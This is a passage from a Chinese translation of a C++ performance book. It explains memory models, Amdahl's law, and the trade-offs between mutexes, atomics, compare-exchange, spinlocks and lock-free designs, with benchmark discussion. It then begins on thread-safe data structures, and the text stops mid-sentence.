C++内存模型的最后一个例子也包含了一个有价值的观察:语言和编译器并不是定义内存模型的全部。硬件有一个内存模型,操作系统和运行时环境有它们的内存模型,程序运行的硬件/软件系统的每个组件都有一个内存模型。整体内存模型,程序可用的所有保证和限制的总集,是所有这些内存模型的叠加。有时您可以利用这一点,比如在编写特定于处理器的代码时。然而,任何可移植的 C++代码只能依赖于语言本身的内存模型,而且往往其他底层内存模型会带来复杂性。

由于语言和硬件的内存模型差异,会出现两种问题。首先,您的程序可能存在无法在特定硬件上检测到的错误。考虑我们为生产者-消费者程序使用的获取-释放协议。如果我们犯了一个错误,在生产者端使用了释放内存顺序,但在消费者端使用了松散内存顺序(根本没有屏障),我们会期望程序会间歇性地产生错误结果。然而,如果您在 x86 CPU 上运行此程序,它看起来是正确的。这是因为 x86 架构的内存模型是这样的,每个存储都伴随着一个释放屏障,每个加载都有一个隐式获取屏障。我们的程序仍然有一个错误,如果我们将其移植到比如 iPad 中的基于 ARM 的处理器上,它会让我们遇到麻烦。但是在 x86 硬件上找到这个 bug 的唯一方法是使用类似 GCC 和 Clang 中可用的Thread SanitizerTSAN)这样的工具。

第二个问题是第一个问题的反面:降低内存顺序的限制并不总是会带来更好的性能。正如您刚刚所学到的,从释放到松散的内存顺序在 x86 处理器上的写操作上并不会带来任何好处,因为整体内存模型仍然保证释放顺序(理论上,编译器可能会对松散内存顺序进行更多优化,而不是释放内存顺序,但是大多数编译器根本不会跨原子操作优化代码)。

内存模型为讨论程序如何与内存系统交互提供了科学基础和共同语言。内存屏障是程序员在代码中实际使用的工具,用于控制内存模型的特性。通常情况下,通过使用锁隐式地调用这些屏障,但它们总是存在的。合理使用内存屏障可以极大地提高某些高性能并发程序的效率。

摘要

在本章中,我们了解了 C++内存模型以及它给程序员的保证。结果是对多个线程通过共享数据进行交互时发生的低级细节有了深入的理解。

在多线程程序中,未同步和无序的内存访问会导致未定义的行为,必须尽一切可能避免。然而,通常情况下代价是性能。虽然我们总是更看重正确的程序而不是快速但不正确的程序,但在内存同步方面,很容易为了正确性而付出过高的代价。我们已经看到了管理并发内存访问的不同方式,它们的优势和权衡。最简单的选择是锁定对共享数据的所有访问。另一方面,最复杂的实现使用原子操作,并尽可能限制内存顺序。

性能的第一准则在这里完全适用:性能必须被测量,而不是猜测。这对于并发程序来说更加重要,因为聪明的优化可能由于多种原因而无法产生可衡量的结果。另一方面,你始终可以保证的是,使用锁的简单程序更容易编写,而且更有可能是正确的。

掌握了影响数据共享性能的基本因素,你可以更好地理解测量结果,以及在何时尝试优化并发内存访问时有一些感觉:受内存顺序限制影响的代码部分越大,放宽这些限制就越有可能提高性能。另外,要记住,一些限制来自硬件本身。

总的来说,这比你在前几章中需要处理的任何内容都要复杂得多(这并不奇怪,总的来说,并发性本身就很难)。下一章将展示一些你可以在程序中管理这种复杂性的方法,而不放弃性能优势。你还将看到你在这里学到的知识的实际应用。

问题

  1. 什么是内存模型?

  2. 为什么理解对共享数据的访问如此重要?

  3. 是什么决定了程序的整体内存模型?

  4. 什么限制了并发性带来的性能提升?

第二部分:高级并发

本节将探讨使用并发来实现高性能的更高级方面。您将学习使用互斥锁实现线程安全的最佳方法,以及何时避免使用它们,而选择无锁同步。您还将了解 C++并发特性的最新补充:协程和并行算法。

本节包括以下章节:

  • 第六章, 并发与性能

  • 第七章, 并发数据结构

  • 第八章, C++中的并发

第六章:并发和性能

在上一章中,我们了解了影响并发程序性能的基本因素。现在是时候将这些知识付诸实践,学习开发高性能并发算法和数据结构,以实现线程安全的程序。

一方面,要充分利用并发,必须对问题和解决方案策略进行高层次的考虑:数据组织、工作分区,有时甚至是解决方案的定义,这些选择对程序的性能产生重要影响。另一方面,正如我们在上一章中所看到的,性能受低级因素的影响很大,比如缓存中数据的排列,甚至最佳设计也可能被糟糕的实现破坏。这些低级细节通常很难分析,在代码中很难表达,并且需要非常小心的编码。这不是您希望散布在程序中的代码类型,因此封装棘手的代码是必要的。我们将不得不考虑最佳的封装这种复杂性的方法。

在本章中,我们将涵盖以下主要主题:

  • 高效的并发

  • 锁的使用、锁定的陷阱和无锁编程的介绍

  • 线程安全的计数器和累加器

  • 线程安全的智能指针

技术要求

再次,您将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的 Google Benchmark 库(可在github.com/google/benchmark找到)。本章附带的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter06找到。

有效使用并发需要什么?

从根本上讲,利用并发来提高性能非常简单:您只需要做两件事。第一件事是为并发线程和进程提供足够的工作,以便它们始终保持忙碌状态。第二件事是减少对共享数据的使用,因为正如我们在上一章中所看到的,同时访问共享变量非常昂贵。其余的只是实现的问题。

不幸的是,实现往往相当困难,而且当期望的性能增益更大,硬件变得更强大时,困难程度会增加。这是由于阿姆达尔定律,这是每个处理并发的程序员都听说过的东西,但并非每个人都完全理解其影响的全部范围。

法律本身非常简单。它规定,对于具有并行(可扩展)部分和单线程部分的程序,最大可能的加速度s如下:

在这里,是程序并行部分的加速度,是程序的并行部分。现在考虑一下对于在大型多处理器系统上运行的程序的后果:如果我们有 256 个处理器,并且能够除了微不足道的 1/256 的运行时间之外充分利用它们,那么程序的总加速度将受到限制,最多为 128,也就是说,它被减半了。换句话说,如果程序只有 1/256 是单线程或在锁定状态下执行,那么即使我们对程序的其余部分进行了多少优化,该 256 处理器系统的总容量也永远不会超过 50%。

这就是为什么在开发并发程序时,设计、实现和优化的重点应该放在使剩余的单线程计算并发化上,并减少程序访问共享数据的时间上。

第一个目标,使计算并发,从选择算法开始,但许多设计决策都会影响结果,因此我们应该更多地了解它。第二个目标,减少数据共享的成本,是上一章的主题的延续:当所有线程都在等待访问某个共享变量或锁(锁本身也是一个共享变量)时,程序实际上是单线程的,只有当前具有访问权限的线程在运行。这就是为什么全局锁和全局共享数据对性能特别不利。但即使是在几个线程之间共享的数据,如果同时访问,也会限制这些线程的性能。

正如我们之前多次提到的,数据共享的需求基本上是由问题本身的性质驱动的。任何特定问题的数据共享量都可能受算法、数据结构的选择以及其他设计决策的极大影响,同时也受实现的影响。一些数据共享是实现的产物或者是数据结构选择的结果,但其他共享数据则是问题本身固有的。如果我们需要计算满足某种属性的数据元素的数量,最终只有一个计数,所有线程都必须将其更新为共享变量。然而,实际发生了多少共享以及对总程序加速的影响如何,这取决于实现。

在本章中,我们将追求两个方向:首先,鉴于某种程度的数据共享是不可避免的,我们将探讨如何使这个过程更加高效。然后,我们将考虑可以用来减少数据共享需求或减少等待访问这些数据的时间的设计和实现技术。我们首先解决第一个问题,即高效的数据共享。

锁、替代方案及其性能

一旦我们接受了一些数据共享是不可避免的,我们也必须接受对共享数据的并发访问进行同步的需求。请记住,任何对相同数据的并发访问,如果没有这样的同步,都会导致数据竞争和未定义的行为。

保护共享数据最常见的方法是使用互斥锁:

std::mutex m;
size_t count;// Guarded by m
… on the threads … 
{
  std::lock_guard l(m);
  ++count;
}

在这里,我们利用了 C++17 模板类型推导的std::lock_guard;在 C++14 中,我们需要指定模板类型参数。

使用互斥锁通常是相当简单的:任何访问共享数据的代码都应该在临界区内,也就是在锁定和解锁互斥锁的调用之间。互斥锁的实现带有正确的内存屏障,以确保临界区中的代码不能被硬件或编译器移出它(编译器通常根本不会在锁定操作之间移动代码,但理论上,它们可以进行这样的优化,只要它们遵守内存屏障的语义)。

通常在这一点上提出的问题是:“互斥锁的成本有多高?”然而,这个问题并没有很好地定义:我们当然可以给出绝对的答案,以纳秒为单位,针对特定的硬件和给定的互斥锁实现,但这个值意味着什么?它肯定比没有互斥锁更昂贵,但没有互斥锁,程序将不正确(而且有更简单的方法使不正确的程序运行得非常快)。因此,“昂贵”只能与替代方案进行比较来定义,这自然地引出了另一个问题,那就是替代方案是什么?

最明显的替代方案是将计数设为原子的:

std::atomic<size_t> count;
… on the threads … 
++count;

我们还必须考虑的是,我们真正需要与计数操作相关联的内存顺序是什么。如果计数稍后用于,比如,索引到一个数组中,我们可能需要释放-获取顺序。但如果它只是一个计数,我们只是想计算一些事件并报告数量,我们就不需要任何内存顺序限制:

std::atomic<size_t> count;
… on the threads … 
count.fetch_add(1, std::memory_order_relaxed);

我们是否真的得到任何屏障取决于硬件:在 X86 上,原子增量指令具有双向内存屏障“内置”,并且请求松散的内存顺序不会使其更快。然而,明确指定代码真正需要的要求非常重要,无论是为了可移植性还是为了清晰度:请记住,你真正的受众不是必须解析你的代码的编译器,而是需要以后阅读它的其他程序员。

具有原子增量的程序没有锁,也不需要任何锁。然而,它依赖于特定的硬件能力:处理器具有原子增量指令。这类指令的集合相当小。如果我们需要一个没有原子指令的操作,我们会怎么做?我们不必为一个例子走得太远:在 C++中,没有原子乘法(我不知道有哪个硬件具有这样的能力;当然,在 X86 或 ARM 或任何其他常见的 CPU 架构上都找不到)。

幸运的是,有一种“通用”的原子操作可以用来构建各种不同难度的读-修改-写操作。这个操作被称为compare_exchange。它有两个参数:第一个是原子变量的预期当前值,第二个是期望的新值。如果实际当前值与预期值不匹配,什么也不会发生,原子变量不会发生变化。然而,如果当前值与预期值匹配,期望的值将被写入原子变量。C++的compare_exchange操作返回 true 或 false,表示写入是否发生(如果发生则为 true)。如果变量与预期值不匹配,则实际值将在第一个参数中返回。通过比较和交换,我们可以以以下方式实现我们的原子增量操作:

std::atomic<size_t> count;
… on the threads … 
size_t c = count.load(std::memory_order_relaxed);
while (!count.compare_exchange_strong(c, c + 1,
     std::memory_order_relaxed, std::memory_order_relaxed)) {}

有几点需要注意:首先,在 C++中,该操作的实际名称是compare_exchange_strong。还有compare_exchange_weak;它们的区别在于弱版本有时即使当前值和预期值匹配也可能返回 false(在 X86 上没有区别,但在某些平台上,弱版本可能导致更快的整体操作)。其次,该操作不是一个而是两个内存顺序参数:第二个适用于比较失败时(因此它是操作的比较部分的内存顺序)。第一个适用于比较成功和写入发生时。

让我们分析一下这个实现是如何工作的。首先,我们原子地读取计数的当前值c。递增的值当然是c + 1,但我们不能简单地将其分配给计数,因为另一个线程在我们读取它之后但在我们更新它之前可能已经递增了计数。因此,我们必须进行条件写入:如果计数的当前值仍然是c,则用期望的值c + 1替换它。否则,用新的当前值更新ccompare_exchange_strong为我们做到了这一点),然后重试。只有当我们最终捕捉到一个时刻,即原子变量在我们最后一次读取它和我们尝试更新它之间没有发生变化时,循环才会退出。当然,当我们有原子增量操作时,没有理由做任何这些来增加计数。但这种方法可以推广到任何计算:我们可以使用任何其他表达式而不是c + 1,程序仍然可以正常工作。

尽管代码的三个版本都执行相同的操作,即增加计数,但它们之间存在根本的区别,我们必须更详细地探讨这些区别。

基于锁的、无锁的和无等待的程序

第一个版本,使用互斥锁,是最容易理解的:任何时候只有一个线程可以持有锁,因此该线程可以增加计数而无需进一步预防措施。一旦锁被释放,另一个线程可以获取它并增加计数,依此类推。在任何时候,最多只有一个线程可以持有锁并取得任何进展;所有需要访问的剩余线程都在等待锁。但即使持有锁的线程通常也不能保证向前进行:如果它在完成工作之前需要访问另一个共享变量,它可能在等待由其他线程持有的锁。这是常见的基于锁的程序,通常不是最快的,但是最容易理解和推理。

第二个程序呈现了一个非常不同的情景:到达原子增量操作的任何线程都会立即执行它。当然,硬件本身必须锁定对共享数据的访问,以确保操作的原子性(正如我们在上一章中所看到的,这是通过一次只向一个处理器授予对整个缓存行的独占访问来实现的)。从程序员的角度来看,这种独占访问表现为执行原子操作所需的时间增加。然而,在代码本身中,没有等待任何东西,也没有尝试和重试。这种程序被称为无等待。在无等待程序中,所有线程始终在取得进展,也就是执行操作(尽管如果线程之间为了访问相同的共享变量而存在严重争用,一些操作可能需要更长时间)。无等待实现通常只适用于非常简单的操作(例如增加计数),但每当它可用时,通常甚至比基于锁的实现更简单。

理解最后一个程序的行为需要更多的努力。没有锁;然而,有一个重复未知次数的循环。在这方面,实现类似于锁:任何等待锁的线程也被困在类似的循环中,试图并失败地获取锁。然而,有一个关键的区别:在基于锁的程序中,当一个线程未能获取锁并且必须重试时,我们可以推断其他线程持有锁。我们无法确定该线程是否会很快释放锁,或者实际上是否在完成工作并释放它持有的锁(例如,它可能正在等待用户输入)。在基于比较和交换的程序中,我们的线程失败更新共享计数的唯一方式是因为其他线程首先更新了它。因此,我们知道,在同时尝试增加计数的所有线程中,至少有一个始终会成功。这种程序被称为无锁

我们刚刚看到了三种主要类型的并发程序的示例:

  • 在无等待程序中,每个线程都在执行它需要的操作,并始终朝着最终目标取得进展;没有等待访问,也不需要重新做任何工作。

  • 在无锁程序中,多个线程可能尝试更新相同的共享值,但只有一个线程会成功。其余的将不得不丢弃他们已经基于原始值完成的工作,读取更新后的值,并重新计算。但至少有一个线程始终保证提交其工作并且不必重新做;因此,整个程序始终在取得进展,尽管不一定以最快的速度。

  • 最后,在基于锁的程序中,一个线程持有可以访问共享数据的锁。但仅仅因为它持有锁并不意味着它正在处理这些数据。因此,当并发访问发生时,最多只有一个线程在取得进展,但这也不是保证的。

理论上,这三个程序之间的差异是明显的。但我打赌每个读者都想知道同一个问题的答案:哪一个更快?我们可以在 Google 基准测试中运行代码的每个版本。例如,这是基于锁的版本:

std::mutex m;
size_t count = 0; 
void BM_lock(benchmark::State& state) {
  if (state.thread_index == 0) count = 0;
  for (auto _ : state) {
    std::lock_guard l(m);
    ++count;
  }   
}
BENCHMARK(BM_lock)->Threads(2)->UseRealTime();

必须在全局范围内声明在线程之间必须共享的变量。初始设置(如果有的话)可以限制在一个线程中。其他基准测试类似;只有被测量的代码会发生变化。以下是结果:

图 6.1 - 共享计数增量的性能:基于互斥锁,无锁(比较和交换,或 CAS),无等待(原子)

图 6.1 - 共享计数增量的性能:基于互斥锁,无锁(比较和交换,或 CAS),无等待(原子)

这里唯一可能出乎意料的结果是基于锁的版本表现得有多糟糕。然而,这只是一个数据点,而不是整个故事。特别是,虽然所有互斥锁都是锁,但并非所有锁都是互斥锁。我们可以尝试提出更有效的锁实现(至少对我们的需求来说更有效)。

不同的问题需要不同的锁

我们刚刚看到,当使用标准的 C++互斥锁来保护对共享变量的访问时,其性能非常差,特别是当有许多线程同时尝试修改此变量时(如果所有线程都在读取变量,则根本不需要保护它;并发只读访问不会导致任何数据竞争)。但是,锁的效率低是因为其实现,还是因为锁的性质固有的问题?根据我们在上一章中学到的知识,我们可以预期任何锁都会比原子递增计数器要低效一些,因为基于锁的方案使用了两个共享变量,即锁和计数器,而原子计数器只使用了一个共享变量。然而,操作系统提供的互斥锁通常对于锁定非常短的操作(比如我们的计数增量)并不特别高效。

对于这种情况,最简单且最有效的锁之一是基本自旋锁。自旋锁的想法是:锁本身只是一个标志,可以有两个值,比如 0 和 1。如果标志的值为 0,则锁未被锁定。任何看到这个值的线程都可以将标志设置为 1 并继续;当然,读取标志并将其设置为 1 的整个操作必须是一个单一的原子操作。任何看到值为 1 的线程都必须等待,直到值再次变为 0,表示锁可用。最后,当将标志从 0 更改为 1 的线程准备释放锁时,将值再次更改为 0。

实现此锁的代码如下:

class Spinlock {
  public:
  void lock() {
    while (flag_.exchange(1, std::memory_order_acquire)) {}
  }
  void unlock() { flag_.store(0, std::memory_order_release); }
  private:
  std::atomic<unsigned int> flag_;
};

我们只在代码片段中显示了锁定和解锁函数;该类还需要默认构造函数(原子整数在其默认构造函数中初始化为 0),以及使其不可复制的声明。

请注意,锁定标志不使用条件交换:我们总是将 1 写入标志。它能够工作的原因是,如果标志的原始值为 0,则交换操作将其设置为 1 并返回 0(循环结束),这正是我们想要的。但是,如果原始值为 1,则它被替换为 1,也就是根本没有变化。

另外,请注意两个内存屏障:锁定伴随着获取屏障,而解锁则使用释放屏障。这些屏障一起限定了临界区,并确保在调用lock()unlock()之间编写的任何代码都留在那里。

您可能期望看到此锁与标准互斥锁的比较基准,但我们不打算展示它:这个自旋锁的性能很糟糕。为了使其有用,需要进行几项优化。

首先要注意的是,如果标志的值为 1,我们实际上不需要将其替换为 1,我们可以让它保持不变。为什么这很重要?交换是一个读-修改-写操作。即使它将旧值更改为相同的值,它也需要独占访问包含标志的缓存行。我们不需要独占访问只是为了读取标志。这在以下情况下很重要:锁定了一个锁,拥有锁的线程没有改变它(它正忙于工作),但所有其他线程都在检查锁,并等待值更改为 0。如果它们不尝试写入标志,缓存行就不需要在不同的 CPU 之间反弹:它们都有内存的相同副本在它们的缓存中,并且这个副本是当前的,不需要将任何数据发送到任何地方。只有当其中一个线程实际更改值时,硬件才需要将内存的新内容发送到所有 CPU。这是我们刚刚描述的优化,在代码中完成:

class Spinlock {
  void lock() {
    while (flag_.load(std::memory_order_relaxed) ||
           flag_.exchange(1, std::memory_order_acquire)) {}
  }
}

这里的优化是,我们首先读取标志,直到看到 0,然后将其与 1 交换。如果另一个线程首先获得了锁,那么在我们进行检查和交换之间,值可能已经更改为 1。另外,请注意,在预先检查标志时,我们根本不关心内存屏障,因为最终的确定性检查总是使用交换及其内存屏障完成。

即使进行了这种优化,锁的性能仍然相当差。原因在于操作系统倾向于优先考虑线程的方式。一般来说,进行大量计算的线程将获得更多的 CPU 时间,因为假设它正在做一些有用的事情。不幸的是,在我们的情况下,最大量计算的线程是在等待标志改变时不断尝试获取锁。这可能导致一种不良情况,即一个线程试图获取锁并且已经分配了 CPU 给它,而另一个线程想要释放锁,但却没有被调度执行一段时间。解决方法是让等待的线程在多次尝试后放弃 CPU,以便其他线程可以运行,并且希望完成它的工作并释放锁。

线程释放 CPU 的方式有几种,大多数是通过系统函数调用完成的。没有一种通用的最佳方法。在 Linux 上,通过调用nanosleep()似乎能够产生最佳结果,通常比调用sched_yield()更好,后者是另一个系统函数,用于让出 CPU 访问权。所有系统调用与硬件指令相比都很昂贵,因此不要经常调用它们。最佳平衡是当我们尝试多次获取锁,然后将 CPU 让给另一个线程,然后再次尝试:

class Spinlock {
  void lock() {
    for (int i=0; flag_.load(std::memory_order_relaxed) ||
       flag_.exchange(1, std::memory_order_acquire); ++i) {
      if (i == 8) {
        lock_sleep();
        i = 0;
      }
    }
  }
  void lock_sleep() {
    static const timespec ns = { 0, 1 }; // 1 nanosecond
    nanosleep(&ns, NULL);
  }
}

在释放 CPU 之前获取锁的最佳尝试次数取决于硬件和线程数量,但通常,8 到 16 之间的值效果很好。

现在我们准备进行第二轮基准测试,以下是结果:

图 6.2 - 共享计数增量的性能:基于自旋锁、无锁(比较和交换,或 CAS)和无等待(原子)的性能比较

图 6.2 - 共享计数增量的性能:基于自旋锁、无锁(比较和交换,或 CAS)和无等待(原子)的性能比较

自旋锁表现非常出色:它明显优于比较和交换实现,并给无等待操作带来了激烈的竞争。

这些结果给我们留下了两个问题:首先,如果自旋锁如此快,为什么不所有的锁都使用自旋锁?其次,如果自旋锁如此出色,为什么我们甚至需要原子操作(除了用于实现锁之外)?

对第一个问题的答案归结为本节的标题:不同的问题需要不同的锁。自旋锁的缺点是等待线程不断使用 CPU 或“忙等待”。另一方面,等待系统互斥锁的线程大部分时间处于空闲状态(睡眠)。如果需要等待几个周期,例如增量操作的持续时间,忙等待是很好的选择:它比让线程进入睡眠状态要快得多。另一方面,如果锁定的计算包含超过几条指令,那么等待自旋锁的线程将浪费大量的 CPU 时间,并且剥夺其他工作线程访问它们所需的硬件资源。总的来说,C++互斥锁(std::mutex)或操作系统互斥锁通常被选择是因为它的平衡性:对于锁定单个指令来说效率不高,对于需要几十纳秒的计算来说还可以,如果需要长时间持有锁,它比替代方案更好(长时间在这里是相对的,处理器速度很快,所以 1 毫秒就是很长的时间)。现在,我们在这里写的是极端性能(以及为实现它所做的极端努力),所以大多数高性能计算程序员要么实现自己的快速锁来保护短计算,要么使用提供这些锁的库。

第二个问题,“锁还有其他缺点吗?”将我们带到下一节。

基于锁定与无锁定,真正的区别是什么?

当谈论无锁编程的优势时,第一个论点通常是“它更快”。正如我们刚才看到的,这并不一定是真的:如果针对特定任务进行了优化,锁的实现可以非常高效。然而,锁定方法的另一个固有的缺点并不取决于实现。

第一个也是最臭名昭著的是可怕的死锁的可能性。当程序使用多个锁时,比如 lock1 和 lock2 时,死锁发生。线程 A 持有 lock1 并需要获取 lock2。线程 B 已经持有 lock2 并需要获取 lock1。两个线程都无法继续进行,并且都将永远等待,因为唯一能释放它们需要的锁的线程本身也被锁定。

如果两个锁同时被获取,死锁可以通过始终以相同的顺序获取锁来避免;C++有一个用于此目的的实用函数std::lock()。然而,通常无法同时获取锁:当线程 A 获取 lock1 时,无法知道我们将需要 lock2,因为这个信息本身是隐藏在由 lock1 保护的数据中。我们将在下一章中讨论并发数据结构时,在后面的例子中看到。

如果我们无法可靠地获取多个锁,也许解决方案是尝试获取它们,然后,如果我们未能全部获取它们,释放我们已经持有的锁,以便其他线程可以获取它们?在我们的示例中,线程 A 持有 lock1,它将尝试获取 lock2,但不会阻塞:大多数锁都有一个try_lock()调用,它要么获取锁,要么返回 false。在后一种情况下,线程 A 释放 lock1,然后再次尝试同时锁定它们。这可能有效,特别是在简单的测试中。但它也有自己的危险:活锁,当两个线程不断地相互传递锁:线程 A 持有 lock1 但没有 lock2,线程 B 持有 lock2,放弃它,获取 lock1,现在它无法再获取 lock2,因为线程 A 已经持有它。有一些算法可以保证最终成功获取多个锁。不幸的是,在实践中,现在和最终之间可能会经过很长时间。这些算法也非常复杂。

处理多个锁的基本问题是互斥锁不可组合:没有好的方法将两个或多个锁合并为一个。

即使没有活锁和死锁的危险,基于锁的程序仍然存在其他问题。其中一个更频繁且难以诊断的问题称为护航。它可能发生在多个锁或只有一个锁的情况下。护航的情况是这样的:假设我们有一个由锁保护的计算。线程 A 当前持有锁并在共享数据上进行工作;其他线程正在等待进行他们的工作。然而,工作不是一次性的:每个线程有许多任务要做,每个任务的一部分需要对共享数据进行独占访问。线程 A 完成一个任务,释放锁,然后快速进行下一个任务,直到再次需要锁。锁已经被释放,任何其他线程都可以获取它,但它们仍在唤醒,而线程 A 正在 CPU 上“热”。因此,线程 A 再次获取锁只是因为竞争者还没有准备好。线程 A 的任务像车队一样快速执行,而其他线程上什么也没做。

锁的另一个问题是它们不尊重任何优先级的概念:当前持有锁的低优先级线程将抢占任何需要相同锁的高优先级线程。因此,高优先级线程必须等待低优先级线程确定的时间,这种情况似乎与高优先级的概念完全不一致。因此,这种情况有时被称为优先级反转

现在我们明白了锁的问题不仅限于性能,让我们看看无锁程序在同样的复杂情况下会表现如何。首先,在无锁程序中,至少有一个线程保证不会被阻塞:在最坏的情况下,当所有线程同时到达一个比较和交换CAS)操作,并且期望的当前原子变量值相同时,其中一个线程保证会看到期望的值(因为它可以改变的唯一方式是通过成功的 CAS 操作)。所有剩下的线程将不得不丢弃他们的计算结果,重新加载原子变量,并重复计算,但成功进行 CAS 的一个线程可以继续下一个任务。这可以防止死锁的可能性。没有死锁和避免死锁的尝试,我们也不需要担心活锁。由于所有线程都在忙于计算通向原子操作(如 CAS)的方式,高优先级线程更有可能首先到达并提交其结果,而低优先级线程更有可能失败 CAS 并不得不重新做工作。同样,单个成功提交结果并不会使“获胜”的线程对其他所有线程有任何优势:准备尝试执行 CAS 的线程是成功的。这自然地消除了护航。

那么,无锁编程有什么不好呢?只有两个缺点,但它们都是主要的。第一个是它的优点的反面:正如我们所说,即使失败了 CAS 尝试的线程也保持忙碌。这解决了优先级问题,但代价非常高:在高争用情况下,大量的 CPU 时间被浪费在做工作,只是为了重新做。更糟糕的是,竞争访问单个原子变量的这些线程正在从其他同时进行一些不相关计算的线程中夺走 CPU 资源。

第二个缺点完全不同。虽然大多数并发程序不容易编写或理解,但无锁程序设计和实现起来非常困难。基于锁的程序只需保证构成单个逻辑事务的任何操作集在锁下执行。当存在多个逻辑事务时,某些但不是所有共享数据是几个不同事务共有的时,情况就会变得更加困难。这就是我们遇到多个锁的问题。尽管如此,推理基于锁的程序的正确性并不那么困难:如果我在你的代码中看到一块共享数据,你必须向我展示哪个锁保护了这些数据,并证明没有线程可以在未先获取此锁的情况下访问这些数据。如果不是这样,你就会出现数据竞争,即使你还没有发现它。如果满足这些要求,就不会出现数据竞争(尽管可能会出现死锁和其他问题)。

另一方面,无锁程序有几乎无限种类的数据同步方案。由于没有线程会被暂停,我们必须确信,无论线程以何种顺序执行原子操作,结果都是正确的。此外,没有明确定义的临界区,我们必须担心程序中所有数据的内存顺序和可见性,而不仅仅是原子变量。我们必须问自己,有没有一种方法可以使一个线程更改数据,而另一个线程可以看到旧版本,因为内存顺序要求不够严格?

解决复杂性问题的常规方法是模块化和封装。我们将困难的代码收集到模块中,每个模块都有明确定义的接口和一组清晰的要求和保证。对实现各种并发算法的模块进行了大量关注。本书将带您走向不同的方向:本章的其余部分专门讨论并发数据结构。

并发编程的构建模块

并发程序的开发通常非常困难。有几个因素可能使其变得更加困难:例如,编写需要正确和高效的并发程序要困难得多(换句话说,所有这些都是)。具有许多互斥锁或无锁程序的复杂程序更加困难。

正如上一节的结论所说,管理这种复杂性的唯一希望是将其限制在代码或模块的小而明确定义的部分中。只要接口和要求清晰,这些模块的客户端就不需要知道实现是无锁还是基于锁的。这会影响性能,因此模块可能对特定需求太慢,直到优化为止,但我们会根据需要进行这些优化,并且这些优化限于特定模块。

在本章中,我们专注于实现并发编程数据结构的模块。为什么是数据结构而不是算法?首先,关于并发算法的文献要多得多。其次,大多数程序员更容易处理算法:代码进行了分析,有一个花费过长时间的函数,我们找到了另一种实现算法的方法,然后转向性能图表上的下一个高点。然后,您最终得到一个程序,其中没有任何单个计算占用大部分时间,但您仍然感觉它的速度远不及应有的水平。我们之前已经说过,但需要重复一遍:当您没有热点代码时,您可能有热点数据。

数据结构在并发程序中扮演着更加重要的角色,因为它们决定了算法可以依赖的保证和限制。哪些并发操作可以安全地在相同的数据上进行?不同线程看到的数据视图有多一致?如果我们没有这些问题的答案,我们就不能写太多的代码,而这些答案是由我们选择的数据结构决定的。

同时,设计决策,比如接口和模块边界的选择,可以在编写并发程序时对我们的选择产生关键影响。并发不能作为事后的想法添加到设计中;设计必须从一开始就考虑并发,特别是数据的组织。

我们通过定义一些基本术语和概念来开始探索并发数据结构。

并发数据结构的基础

使用多个线程的并发程序需要线程安全的数据结构。这似乎是显而易见的。但什么是线程安全,什么使一个数据结构是线程安全的?乍一看,这似乎很简单:如果一个数据结构可以被多个线程同时使用而不会发生任何数据竞争(在线程之间共享),那么它就是线程安全的。

然而,这个定义结果太过简单:

  • 它把标准提得很高——例如,STL 容器中的任何一个都不会被认为是线程安全的。

  • 它带来了非常高的性能成本。

  • 这通常是不必要的,成本也是如此。

  • 除此之外,在许多情况下它将是完全无用的。

让我们逐一解决这些考虑。即使在多线程程序中,为什么线程安全的数据结构可能是不必要的呢?一个微不足道的可能性是它被用在程序的单线程部分。我们努力尽量减少这样的部分,因为它们对整体运行时间有害(还记得阿姆达尔定律吗?),但大多数程序都有一些,我们使这样的代码更快的一种方式是不支付不必要的开销。不需要线程安全的更常见的情况是当一个对象在多线程程序中只被一个线程使用。这是非常常见和非常理想的:正如我们已经说过好几次,共享数据是并发程序中效率低下的主要原因,所以我们尽量让每个线程独立地完成尽可能多的工作,只使用本地对象和数据。

但我们能确定一个类或数据结构在多线程程序中是安全的吗,即使每个对象从未在线程之间共享?不一定:仅仅因为我们在接口层面上看不到任何共享,并不意味着在实现层面上没有共享。多个对象可能在内部共享相同的数据:静态成员和内存分配器只是一些可能性(我们倾向于认为所有需要内存的对象都通过调用malloc()来获得内存,并且malloc()是线程安全的,但一个类也可以实现自己的分配器)。

另一方面,许多数据结构在多线程代码中使用起来是完全安全的,只要没有线程修改对象。虽然这似乎是显而易见的,但我们必须再次考虑实现:接口可能是只读的,但实现可能仍然修改对象。如果你认为这是一个奇特的可能性,考虑一下标准的 C++共享指针std::shared_ptr:当你复制一个共享指针时,复制的对象没有被修改,至少不是显而易见的(它通过const引用传递给新指针的构造函数)。与此同时,你知道对象中的引用计数必须被增加,这意味着被复制的对象已经改变了(在这种情况下,共享指针是线程安全的,但这并不是偶然发生的,也不是免费的,这是有性能成本的)。

最重要的是,我们需要一个更细致的线程安全定义。不幸的是,对于这个非常常见的概念,没有共同的词汇,但有几个流行的版本。线程安全的最高级别通常被称为const类的成员函数,其次,任何具有对对象的独占访问权的线程都可以执行任何其他有效的操作,无论其他线程同时做什么。不提供任何此类保证的对象根本不能在多线程程序中使用:即使对象本身没有被共享,其实现中的某些部分也容易受到其他线程的修改。

在本书中,我们将使用强和弱线程安全保证的语言。提供强保证的类有时被简单地称为const成员函数。最后,根本不提供任何保证的类被称为线程敌意,通常根本不能在多线程程序中使用。

在实践中,我们经常遇到强和弱保证的混合:接口的一个子集提供了强保证,但其余部分只提供了弱保证。

那么,为什么我们不尝试为每个对象设计强线程安全保证呢?我们已经提到的第一个原因是:通常会有性能开销,保证通常是不必要的,因为对象不在线程之间共享,编写高效程序的关键是不做任何可以避免的工作。更有趣的反对意见是我们之前提到的,即使在需要线程安全的情况下,强线程安全保证可能是无用的。考虑这个问题:你需要开发一个玩家招募军队并进行战斗的游戏。军队中所有单位的名称都存储在一个容器中,比如一个字符串列表。另一个容器存储每个单位的当前力量。在战役中,单位一直在被杀死或招募,游戏引擎是多线程的,需要高效地管理大军。虽然 STL 